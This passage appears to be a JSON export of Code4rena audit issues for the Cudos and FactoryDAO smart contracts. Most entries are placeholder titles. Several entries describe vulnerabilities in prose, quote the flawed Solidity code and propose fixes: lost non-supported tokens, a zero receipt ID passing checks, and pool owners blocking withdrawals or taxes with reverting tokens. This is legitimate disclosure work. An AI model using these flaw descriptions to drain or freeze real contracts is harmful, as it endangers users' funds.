"https://github.com/code-423n4/2022-05-cudos-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/109", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/105", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/96", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/92", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/89", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/84", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/82", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/81", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/80", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/76", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "`updateValset` doesn't set a timeout, leading to DoS of valid operations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-cudos-findings", "body": "`updateValset` doesn't set a timeout, leading to DoS of valid operations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/66", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/59", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Non-Cudos Erc20 funds sent through sendToCosmos() will be lost.", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/58", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-cudos-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-cudos/blob/de39cf3cd1f1e1cf211819b06d4acf6a043acda0/solidity/contracts/Gravity.sol#L595-L609 # Vulnerability details ## Impact No checks for non-Cudos tokens mean that non-Cudos ERC20 tokens will be lost to the contract, with the user not having any chance of retrieving them. However, the admin can retrieve them through withdrawERC20. Impact is that users lose their funds, but admins gain them. The mistakes could be mitigated on the contract, by checking against a list of supported tokens, so that users don't get the bad experience of losing funds and CUDOS doesn't have to manually refund users ## Proof of Concept User sends 100 ETH through sendToCosmos, hoping to retrieve 100 synthetic ETH on Cudos chain but finds that funds never appear. ``` function sendToCosmos( address _tokenContract, bytes32 _destination, uint256 _amount ) public nonReentrant { IERC20(_tokenContract).safeTransferFrom(msg.sender, address(this), _amount); state_lastEventNonce = state_lastEventNonce.add(1); emit SendToCosmosEvent( _tokenContract, msg.sender, _destination, _amount, state_lastEventNonce ); } ``` https://github.com/code-423n4/2022-05-cudos/blob/de39cf3cd1f1e1cf211819b06d4acf6a043acda0/solidity/contracts/Gravity.sol#L595-L609 Admin can retrieve these funds should they wish, but user never gets them back because the contract does not check whether the token is supported. ``` function withdrawERC20( address _tokenAddress) external { require(cudosAccessControls.hasAdminRole(msg.sender), \"Recipient is not an admin\"); uint256 totalBalance = IERC20(_tokenAddress).balanceOf(address(this)); IERC20(_tokenAddress).safeTransfer(msg.sender , totalBalance); } ``` https://github.com/code-423n4/2022-05-cudos/blob/de39cf3cd1f1e1cf211819b06d4acf6a043acda0/solidity/contracts/Gravity.sol#L632-L638 ## Tools Used Logic and discussion with @germanimp ## Recommended Mitigation Steps Add checks in sendToCosmos to check the incoming tokenAddress against a supported token list, so that user funds don't get lost and admin don't need to bother refunding. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/57", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/55", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/54", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/46", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/40", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/38", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "verifySig function does not check if ecrecover return value is 0", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "verifySig function does not check if ecrecover return value is 0"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/29", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/26", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/23", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "Signature bypass", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/20", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "Signature bypass"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/17", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Admin drains all ERC based user funds using withdrawERC20()", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/14", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-cudos-findings", "body": "Admin drains all ERC based user funds using withdrawERC20()"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/12", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cudos-findings", "body": "Gas Optimizations"}, {"title": "Protocol doesn't handle fee on transfer tokens", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/3", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-cudos-findings", "body": "Protocol doesn't handle fee on transfer tokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cudos-findings/issues/1", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cudos-findings", "body": "QA Report"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/289", "labels": [], "target": "2022-05-factorydao-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/285", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/281", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/280", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/279", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/277", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/276", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/275", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/273", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/268", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/266", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/265", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/264", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/258", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/251", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/250", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/248", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/237", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/236", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/234", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/233", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/226", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/225", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/224", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/222", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/221", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/220", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/219", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/218", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/217", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/216", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/215", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/214", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/209", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/208", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/203", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/202", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/199", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/198", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/193", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/190", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/187", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/186", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/183", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/182", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/177", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/176", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "PermissionlessBasicPoolFactory's withdraw can become frozen on zero reward token transfers", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/175", "labels": ["bug", "2 (Med Risk)"], "target": "2022-05-factorydao-findings", "body": "PermissionlessBasicPoolFactory's withdraw can become frozen on zero reward token transfers"}, {"title": "getRewards() in PermissionlessBasicPoolFactory calculate wrong reward amount for receiptId==0", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/161", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L156-L173 # Vulnerability details ## Impact In `getRewards()` of `PermissionlessBasicPoolFactory` contract, there is a check to see that receipt is initialized receipt, but the condition used by code will be true for `receiptId` equal `0`. because `receiptId==0` is not initilized for any pool and the value of `pools[poolId].receipts[0].id` will be `0` so the condition `receipt.id == receiptId` will be passed on `getRewards()`. Any function that depends on `getRewards()` to check that if `receptId` has deposited fund, can be fooled. right now this bug has no direct money loss, but this function doesn't work as it suppose too. ## Proof of Concept This is `getRewards()` code: ``` function getRewards(uint poolId, uint receiptId) public view returns (uint[] memory) { Pool storage pool = pools[poolId]; Receipt memory receipt = pool.receipts[receiptId]; require(pool.id == poolId, 'Uninitialized pool'); require(receipt.id == receiptId, 'Uninitialized receipt'); uint nowish = block.timestamp; if (nowish > pool.endTime) { nowish = pool.endTime; } uint secondsDiff = nowish - receipt.timeDeposited; uint[] memory rewardsLocal = new uint[](pool.rewardsWeiPerSecondPerToken.length); for (uint i = 0; i < pool.rewardsWeiPerSecondPerToken.length; i++) { rewardsLocal[i] = (secondsDiff * pool.rewardsWeiPerSecondPerToken[i] * receipt.amountDepositedWei) / 1e18; } return rewardsLocal; } ``` if the value of `receiptId` set as `0` then even so `receiptId==0` is not initialized but this line: ``` require(receipt.id == receiptId, 'Uninitialized receipt'); ``` will be passed, because, receipts start from number `1` and `pool.receipts[0]` will have zero value for his fields. This is the code in `deposit()` which is responsible for creating receipt objects. ``` pool.totalDepositsWei += amount; pool.numReceipts++; Receipt storage receipt = pool.receipts[pool.numReceipts]; receipt.id = pool.numReceipts; receipt.amountDepositedWei = amount; receipt.timeDeposited = block.timestamp; receipt.owner = msg.sender; ``` as you can see `pool.numReceipts++` and `pool.receipts[pool.numReceipts]` increase `numReceipts` and use it as receipts index. so receipnts will start from index `1`. This bug will cause that `getRewards(poolId, 0)` return `0` instead of reverting. any function that depend on reverting of `getRewards()` for uninitialized receipts can be excploited by sending `receipntId` as `0`. this function can be inside this contract or other contracts. (`withdraw` use `getRewards` and we will see that we can create `WithdrawalOccurred` event for `receiptsId` as 0) ## Tools Used VIM ## Recommended Mitigation Steps If you want to start from index `1` then add this line too to ensure `receipntId` is not `0` too: ``` require(receiptId > 0, 'Uninitialized receipt'); ``` or we could check for uninitialized receipnts with `owner` field as non-zero. "}, {"title": "`SpeedBumpPriceGate.sol#addGate()` Lack of input validation may casue div by 0 error", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/153", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-factorydao-findings", "body": "`SpeedBumpPriceGate.sol#addGate()` Lack of input validation may casue div by 0 error"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/151", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Verification should be leafed based and not address based", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/148", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/MerkleVesting.sol#L115 https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/MerkleDropFactory.sol#L92 # Vulnerability details ## Impact Contracts should clarify what is the intended behavior for Merkle trees with multiple leafs with the same address. ## Recommended Mitigation Steps There is 2 possible behaviors: - either - what is currently done - you only authorize one claim per address, in which case the multiple leaf are here to give users a choice - for example you could use `MerkleVesting` to give users the choice between 2 sets of vesting parameters and have something close to `MerkleResistor`. - either you use a mapping based on the leaf to store if a leaf has been claimed or not. This behavior should be clarified in the comments at least, and made clear to merkle tree builders. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/136", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Inconsistent solidity versions", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/133", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-factorydao-findings", "body": "Inconsistent solidity versions"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/132", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/131", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "MerkleVesting withdrawal does not verify that tokens were transferred successfully", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/130", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-factorydao-findings", "body": "MerkleVesting withdrawal does not verify that tokens were transferred successfully"}, {"title": "Merkle-tree-related contracts vulnerable to cross-chain-replay attacks", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/126", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-factorydao-findings", "body": "Merkle-tree-related contracts vulnerable to cross-chain-replay attacks"}, {"title": "Pool owners can prevent withdrawals of specific receipts", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/125", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L230-L234 # Vulnerability details ## Impact Pool owners can prevent withdrawals of specific receipts without impacting any other functionality ## Proof of Concept Reciepts are non-transferrable, so a malicious owner can monitor the blockchain for receipt creations, and inspect which account holds the receiptId. Next, by changing settings in a custom reward token that reverts for specific addresses, the owner can prevent that specific receipt owner from withdrawing: ```solidity File: contracts/PermissionlessBasicPoolFactory.sol #1 230 success = success && IERC20(pool.rewardTokens[i]).transfer(receipt.owner, transferAmount); 231 } 232 233 success = success && IERC20(pool.depositToken).transfer(receipt.owner, receipt.amountDepositedWei); 234 require(success, 'Token transfer failed'); ``` https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L230-L234 While the sponsor mentions that malicious tokens make the pool malicious, this particular issue has a straight forward fix outlined below in the mitigation section ## Tools Used Code inspection ## Recommended Mitigation Steps Rather than reverting the whole withdrawal if only one transfer fails, return a boolean of whether all withdrawals were successful, and allow `withdraw()` to be called multiple times, keeping track of what has been transferred and what hasn't "}, {"title": "Pool owners can prevent the payment of taxes", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/124", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L258-L272 # Vulnerability details ## Impact Pool owners can prevent taxes from being paid without impacting any other functionality ## Proof of Concept By adding a custom reward token that always reverts for transfers to `globalBenericiary`, the owner can prevent taxes from being paid: ```solidity File: contracts/PermissionlessBasicPoolFactory.sol #1 258 /// @notice Withdraw taxes from pool 259 /// @dev Anyone may call this, it just moves the taxes from this contract to the globalBeneficiary 260 /// @param poolId which pool are we talking about? 261 function withdrawTaxes(uint poolId) external { 262 Pool storage pool = pools[poolId]; 263 require(pool.id == poolId, 'Uninitialized pool'); 264 265 bool success = true; 266 for (uint i = 0; i < pool.rewardTokens.length; i++) { 267 uint tax = taxes[poolId][i]; 268 taxes[poolId][i] = 0; 269 success = success && IERC20(pool.rewardTokens[i]).transfer(globalBeneficiary, tax); 270 } 271 require(success, 'Token transfer failed'); 